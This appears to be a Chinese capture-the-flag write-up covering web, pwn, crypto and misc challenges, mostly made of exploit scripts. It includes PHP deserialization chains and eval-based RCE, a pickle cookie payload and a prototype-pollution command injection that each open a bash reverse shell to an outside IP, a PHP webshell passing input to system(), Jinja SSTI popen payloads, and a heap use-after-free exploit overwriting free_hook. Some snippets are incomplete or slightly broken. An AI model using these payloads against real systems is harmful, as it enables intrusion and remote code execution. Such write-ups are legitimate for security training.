ls
nl flag.php
简单的链子,瞄一眼就能找到了。
payload
<?php
class TT
{
public $key;
public $c;
}
class JJ
{
public $obj;
}
class MM
{
public $name;
public $c;
}
$m = new MM();
$m->name = "system";
$m->c = "cat /flag";
$j = new JJ();
$j->obj = $m;
$t = new TT();
$t->key = $j;
// 序列化JJ对象并输出结果
echo serialize($t);
// O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:9:"cat /flag";}}s:1:"c";N;}
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $a)) {
if (!preg_match("/sess|ion|head|ers|file|na|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i",$a)){
eval($a);
}else{
die("May be you should bypass.");
}
}else{
die("nonono");
}
?>
无参数rce,直接就是复制过来就能用
PHP的无参数RCE - 先知社区 (aliyun.com)
http://39.107.115.3:41186/?a=eval(end(current(get_defined_vars())));&jiang=system(%22ls%22);
但是直接查看flag权限不足,需要进行提权
cp命令可以使用
将flag 写入/flag
/bin/cp --no-preserve=all /.ffffffIIIIIII44444444444gggg flag
通过/proc/self/cmdline读取项目位置再读取app.py
from bottle import route, run, template, request, response, error
from config.secret import key
import os
import re
@route("/")
def home():
return template("index")
@route("/look")
def index():
response.content_type = "text/plain; charset=UTF-8"
param = request.query.file
if re.search("^../app", param):
return "大咩大咩!!!"
req_path = os.path.join(os.getcwd() + "/look", param)
try:
with open(req_path) as f:
fi = f.read()
except Exception as e:
return "Wuhu"
return fi
@error(404)
def error404(error):
return template("error")
@route("/login")
def index():
try:
session = request.get_cookie("user", secret=key)
if not session or session["user"] == "ggg":
session = {"user": "ggg"}
response.set_cookie("name", session, secret=key)
return template("guest", name=session["user"])
if session["user"] == "admin":
return template("admin", name=session["user"])
except:
return "baDDDDDDDDDdddddddddddddddd"
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8080)
payload
伪造cookie并进行反序列化
import os
import requests
from bottle import response
key = "Th1sIIIIIIsAAAsecret"
class evil():
def __reduce__(self):
evil = "bash -c 'bash -i >& /dev/tcp/47.242.253.194/9999 0>&1'"
return os.system, (evil,)
response.set_cookie("user", evil(), secret=key)
user = str(response.headerlist[1][1]).replace('user=', '')
cookie = {
"user": user
}
resp = requests.get("http://47.93.56.17:42382/login", cookies=cookie).text
print(resp)
const express = require('express');
const { exec } = require("child_process");
const app = express();
app.get('/', (req, res) => res.send('嗨嗨嗨!!老八来了!!!'));
let ba = {
baba: (token)=>{ return !!token },
bababa: ()=>{ if (JSON.stringify(date).length > 10000) date = {} },
// set: `redis-cli -h ${ba.redis_host} set `
// get: `redis-cli -h ${ba.redis_host} get `
};
let date = {};
app.get('/set', (req, res) => {
ba.bababa();
const {token, key, val} = req.query;
if (!ba.baba(token) || !val) return res.send("wrong");
date[token][key] = val;
res.json({ is_succ: true })
});
app.get('/get', (req, res) => {
const {token, key} = req.query;
if (!ba.baba(token)) return res.send("wrong");
let result = date[token];
if (result) result = result[key];
res.json({ result: result === undefined ? "null" : result, is_succ: result !== undefined })
});
app.put('/bkup', (req, res) => {
let date_stream = Buffer.from(JSON.stringify(date));
const cmd = ba.redis_set + `date ${date_stream.toString('base64')}`;
exec(cmd, (err,_,__) => {
if (err) return res.json({ is_succ: false });
res.json({ is_succ: true });
});
});
app.listen(8080, () => console.log(`嗨嗨嗨!!老八来了!!!`));
//没敢吧所有变量名换成bababa 怕被打
原型链污染,其中的exec存在命令拼接
import requests
print(requests.get(
"http://39.106.138.251:21019/set?token=__proto__&key=redis_set&val=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F47.242.169.210%2F9999%200%3E%261';").text)
requests.put(f"http://39.106.138.251:21019/bkup")
<?php
error_reporting(0);
$CanRead = false;
class SFile{
public $name;
public function __construct($name) {
$this->name = $name;
}
public function __toString(){
$num = count(scandir($this->name));
if($num > 0){
return 'Not null';
} else {
return 'Access the backdoor_******.php.* in [0-f]';
}
}
}
class Funny{
public $name;
public function __construct($name){
if(strstr($name, 'backdoor')===false){
$this->name = $name;
}else{
$this->name = 'nohint.txt';
}
}
public function __toString(){
return $this->name;
}
public function __destruct(){
global $CanRead;
if(strstr($name, 'backdoor')!==false){
die('try again');
}
if($CanRead){
echo(file_get_contents($this->name));
}
}
}
class Fun{
public $secret = 'nohint.txt';
public function __wakeup(){
echo $this->secret;
}
public function __toString(){
global $CanRead;
$CanRead = true;
return (new Funny($this->secret))->name;
}
}
if(isset($_GET['p'])){
unserialize(base64_decode($_GET['p']));
}else{
show_source(__FILE__);
}
这题需要一步一步的解决
class SFile{
public $name;
public function __construct($name) {
$this->name = $name;
}
public function __toString(){
$num = count(scandir($this->name));
if($num > 0){
return 'Not null';
} else {
return 'Access the backdoor_******.php.* in [0-f]';
}
}
}
先要获取出文件名,这里需要进行爆破
$fun = new Fun();
$sf = new SFile();
$payload = "glob://backdoor_";
$str = "0123456789abcdef.php";
while (true) {
for ($i = 0; $i <= strlen($str); $i++) {
$p = $payload . $str[$i] . "*";
$sf->name = $p;
$fun->secret = $sf;
$result = file_get_contents("http://39.106.154.197:29669/?p=" . base64_encode(serialize($fun)));
if (strstr($result, "Not")) {
echo $p . "\n";
$payload .= $str[$i];
break;
}
}
}
文件名为backdoor_a5f9d3.php,接下来就是读取文件
将其保存下来,发现被加密了
while (true) {
$a = str_replace("?>", "", str_replace("<?php", "", str_replace("eval(", '$data = (', file_get_contents("a.php")) . 'file_put_contents("a.php",$data);'));
eval($a);
}
运行脚本得到密钥
<?php
$erzo_f851f55b = [base64_decode('ZmxhZ3sjX2FiY2RlZn0='), base64_decode('ZmxhZ
3tiMHdfYjB3fQ=='), base64_decode('ZmxhZ3t0ZXRfZmxhZ30='), base64_decode('Zmxh
Z3s5OSF6elN3Y30='), base64_decode('ZmxhZ3tkZWJ1R19mdHd9'), base64_decode('Zmx
hZ3toZWxsX3llYWh9'), base64_decode('ZmxhZ3t0NHN0fQ==')];
//var_dump($erzo_f851f55b);
$igxc_9ce88802 = '';
$bbmg_1b267619 = 0;
foreach ($erzo_f851f55b as &$djkg_417c4fa3) {
$igxc_9ce88802 = $djkg_417c4fa3[$bbmg_1b267619] . $igxc_9ce88802;
$bbmg_1b267619++;
};
echo $igxc_9ce88802;
if (isset($_GET[$igxc_9ce88802])) {
$grxe_fd6b6fc9 = $_GET[$igxc_9ce88802];
$pgck_32cfe6c1 = base64_decode($grxe_fd6b6fc9);
$jipp_8a561003 = substr($pgck_32cfe6c1, 5, -5);
echo $jipp_8a561003;
system($jipp_8a561003);
} else {
echo base64_decode('NDA0');
};
连接webshell获取flag
c =cp /flag .
直接访问/flag即可,应该是被非预期了
这网站打开一直重定向,使用request库指定allow_redirects=False
或者使用httpx库都可以成功访问
访问成功爆破n可以读取文件,tupian.png中存在提示
读取该文件即可
import base64
import httpx
# import requests
flag = base64.b64encode(b"ffffpq.php").decode()
# flag = base64.b64encode(b"tupian.png").decode()
url = f"http://39.107.234.204:38325/?img={flag}&n="
# result = requests.get(url, allow_redirects=False)
# print(result.text)
r2 = httpx.get(url)
print(r2.text)
for i in range(0, 32):
r3 = httpx.get(url + str(i))
if "base64" in r3.text:
b = r3.text.split("base64")[1].split("'")[0]
print(b)
print(base64.b64decode(b))
密码全靠猜,可以说是misc题了
登录密码tomcat/tomcat ,jwt的key也是tomcat
ssit {{config}}
提示flag在源码中,直接ssti打通拿flag即可
import requests
def getstr(s1):
i1 = ""
s5 = ""
for i in s1:
i1 += "i~"
s5 += str(ord(i)) + ","
i1 = i1.strip("~")
s5 = s5.strip(",")
s = f"(({i1})%({s5}))"
return s
payload2 = """{% for i in ( ((g|lower|list|first|urlencode|first)~(g|lower|list|first|urlencode|last|lower)),) %}{% print ( """ + f"""lipsum|attr({getstr("__globals__")})|attr({getstr("__getitem__")})({getstr("os")})|attr({getstr("popen")})({getstr("cat ./app.py")})|attr({getstr("read")})()""" + """ ) %}{% endfor %}"""
url = "http://39.107.68.43:59493/search?flag=" + payload2
handler = {
"Authorization": "Basic dG9tY2F0OnRvbWNhdA==",
}
cookie = {
"access_token_cookie": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.MX2V32ixhq0AhoU6LAvI5hRtVXAqZsbqJsUAXlDSwiE"
}
result = requests.get(url, headers=handler, cookies=cookie)
print(result.text)
还是一道ssti题,payload的和上面差不多,只是环境中没有os模块罢了
import html
import requests
def getstr(s1):
i1 = ""
s5 = ""
for i in s1:
i1 += "i~"
s5 += str(ord(i)) + ","
i1 = i1.strip("~")
s5 = s5.strip(",")
s = f"(({i1})%({s5}))"
return s
url = "http://39.107.127.105:24362/?miniID="
payload = """{% for i in ( ((g|lower|list|first|urlencode|first)~(g|lower|list|first|urlencode|last|lower)),) %}{% print ( """ + f"""()|attr({getstr("__class__")})|attr({getstr("__bases__")})|attr({getstr("__getitem__")})(0)|attr({getstr("__subclasses__")})()|attr({getstr("__getitem__")})(117)|attr({getstr("__init__")})|attr({getstr("__globals__")})|attr({getstr("__getitem__")})({getstr("popen")})({getstr("cat /f1ag_g4lfcdecddefewfebge")})|attr({getstr("read")})()""" + """ ) %}{% endfor %}"""
result = requests.get(url + payload)
print(html.unescape(result.text))
word文档解压中得到密码
再将work文档中的图片使用如下网址进行解密
在线图片添加/解密隐藏信息(隐写术)工具 - 站长辅助工具 - 脚本之家在线工具 (jb51.net)
得到flag
找到gif按帧读取出二维码扫描下载文件,再game.tar中找到一个gif
按帧查看得到二维码
拼接图片获得flag
这道题挺有意思的,nc连接上会给出如下提示,他会将输入的base c代码写入/tmp/main.c如何再编译运行
Welcome to the Cb0x challenge
The six step of this challenge
1. You can input your source code of main.c(base64ed),And will copy /home/ctf/main.c to /tmp/main.c
2. Your input is decoded by base64 and append in /tmp/main.c
3. main.c will be complied and run,command are as followed
4. compiled command ==> gcc main.c -w -o main
5. run command ==> subprocess.run(['./main'], stdout=sys.stdout, stderr=subprocess.DEVNULL)
6. The main.c source code are as followed:
我们写个preload方法获取shell即可
__attribute__ ((__constructor__)) void preload (void)
{
system('/bin/bash');
}
base64之后将其输入nc即可,flag再真实的main.c中
二分手猜的
from pwn import *
context(arch = "arm64", log_level = "debug")
maxnum = 2**32
minnum = 0
sh = process('./untitled1')
sh.recvuntil('guess.')
while 1:
mid = (maxnum + minnum)//2
sh.sendline(str(mid).encode())
con = sh.recvuntil(b'!')
success(con)
if b'small' in con:
minnum = mid
elif b'big' in con:
maxnum = mid
else:
sh.interactive()
执行payload即可
这道题使用了一个伪随机数生成器 (PRNG) 来生成素数,然后构造 RSA 公钥进行加密。想要获得 flag,你需要知道私钥,即两个大素数 p 和 q 的乘积 n,并且使用这个私钥来解密密文
们可以使用 RSA 的分解攻击来找到 p 和 q。该攻击利用了两个大素数之积 n 可以被分解为它们的乘积的事实。
通常这个攻击需要对 n 进行分解运算,但是在给定的参数下,n 已经被分解成了两个因子 ps[-1] 和 ps[-2] 的乘积。
现在我们已经获得了 p 和 q,我们可以使用它们来解密密文 c。RSA 解密的公式为:
m = pow(c, d, n)
其中 d 是私钥的指数,满足 e d ≡ 1 mod φ(n),φ(n) 是欧拉函数,等于 (p-1) (q-1)。
为了计算 d,我们可以使用扩展欧几里得算法来求解 e 和 φ(n) 的模逆元素。
from Crypto.Util.number import *
class PRNG:
def __init__(self, a, x, b):
self.a = a
self.x = x
self.b = b
def next(self):
ret = self.x
self.x = (self.a * self.x + self.b) % q
return ret
def get_prime(prng1, prng2, q):
while 1:
tmp = prng2.next() * q + prng1.next()
if isPrime(tmp):
return tmp
q = 863666614243448299685073534539782091614466038667659466359664255833879357401208752356758391473753149783695523347
ps = [
488430779430824599064935338391249442829022539899115535143196485163487049206340136142789020350176476554441378462595965038290365842362034176672340569719593003574222248527447206361459719954322885881075726676950555671635007363,
707157149197462658139117084378634522562212403870035237598970809858394732217372944239689355077884840011520921058759306333833289658731807522052892377679354636501446734633867023331470805974187027036109531714774435994689042891,
476172773176400166870512700278283739900716339392176146031791100542596627419155254113738721222559386964568077259931246639803960023216418997484355347182274626554844693011339867671881591249587444088969603398209425951467440211,
479577456885290037281759580853233626951314430312455485422558946021203602708559915552877926123425413442096439066002524196474514162220000152373758925097140843218665566655451970747063255562540421337155353658793225970423042099]
n = 98507292107212647629392277192521724876575060525397166586602724341772322834661685719879043139101436908036967520130509456130010632959287915661915441539615555345261656834100254232656609022587219863738542204349757544278313022268849986380405350778976502504598388632375506019980481343421510001650112826277323670706717869878490374078543128198589764240329950804782453481144228576858436696625100959717702337809834581369797601972108713612318371100605389
c = 57773774305129316009141892175661507569534831447382854914588401185097291538023184369651537398951570363918970263297625149448254614479110835192103043721312687685309489008584881189077640538284919592229456061921760452134520765924458040140450750863491592935761079322474155890093610865852109521471075002695928101302724254321097314555582345987979625286958861654447780330651520542323214097640450289283886871665487690407096815701340627706657525543320274
prime1_factors = [] # 存储n的前一半因子
prime2_factors = [] # 存储n的后一半因子
a = 202320232023
b = 320232023202
num1 = -721474313686950040760456718395855289332361081440581115357964297160374075412604063880198191814907640385556239775 % q
num2 = -42522514490869169124681320640539356074221591805568832332992800925663834398026485545017374651679305179842368739 % q
for i in ps:
prime1_factors.append(i % q)
prime2_factors.append(i // q)
prng1 = PRNG(a, prime1_factors[3], b)
prng2 = PRNG(num1, prime2_factors[3], num2)
# 分解因子
primes = [get_prime(prng1, prng2, q) for _ in range(4)]
prime1 = primes[-1] # 最大的质因数
prime2 = primes[-2] # 次大的质因数
assert prime1 * prime2 == n
e = 0x10001
# 扩展欧几里得算法求解 d
phi = (prime1 - 1) * (prime2 - 1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))
在审题时发现了一个UAF漏洞,因为free后没有清零导致chunk的地址被写入到bss段落中。
我们可以直接破坏索引,每次保存当前的chunk地址
from pwn import *
content = 0
context(arch='amd64', os='linux', log_level='debug', terminal=['tmux', 'splitw', '-h'])
libc = ELF('./libc.so.6')
def main():
global p
if content == 1:
p = process('./pwn1')
else:
p = remote('39.107.76.202', 44561)
def Add(size, data):
p.sendlineafter("choice: ", "1")
p.sendlineafter("size: ", str(size))
p.sendafter("data: ", data)
Add(0x400, "a")
Add(0x410, b"a" * 0x400 + p64(0) + p64(0x961))
Delete()
Add(0x1000, "a")
Delete()
Add(0x60, "a")
Leak()
p.recvuntil("Note: ")
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x1ed161
system = libc_base + libc.sym['system']
free_hook = libc_base + 0x1eee48
Delete()
Change(p64(free_hook) + p64(0))
Delete()
Change(p64(free_hook))
Leak()
Add(0x60, "a")
Leak()
Add(0x60, p64(system))
Leak()
Add(0x60, "sh\x00")
Delete()
# UAF漏洞
def Delete():
p.sendlineafter("choice: ", "2")
def Leak():
p.sendlineafter("choice: ", "3")
def Change(data):
p.sendlineafter("choice: ", "4")
p.sendafter("NewData: ", data)
浏览量: 1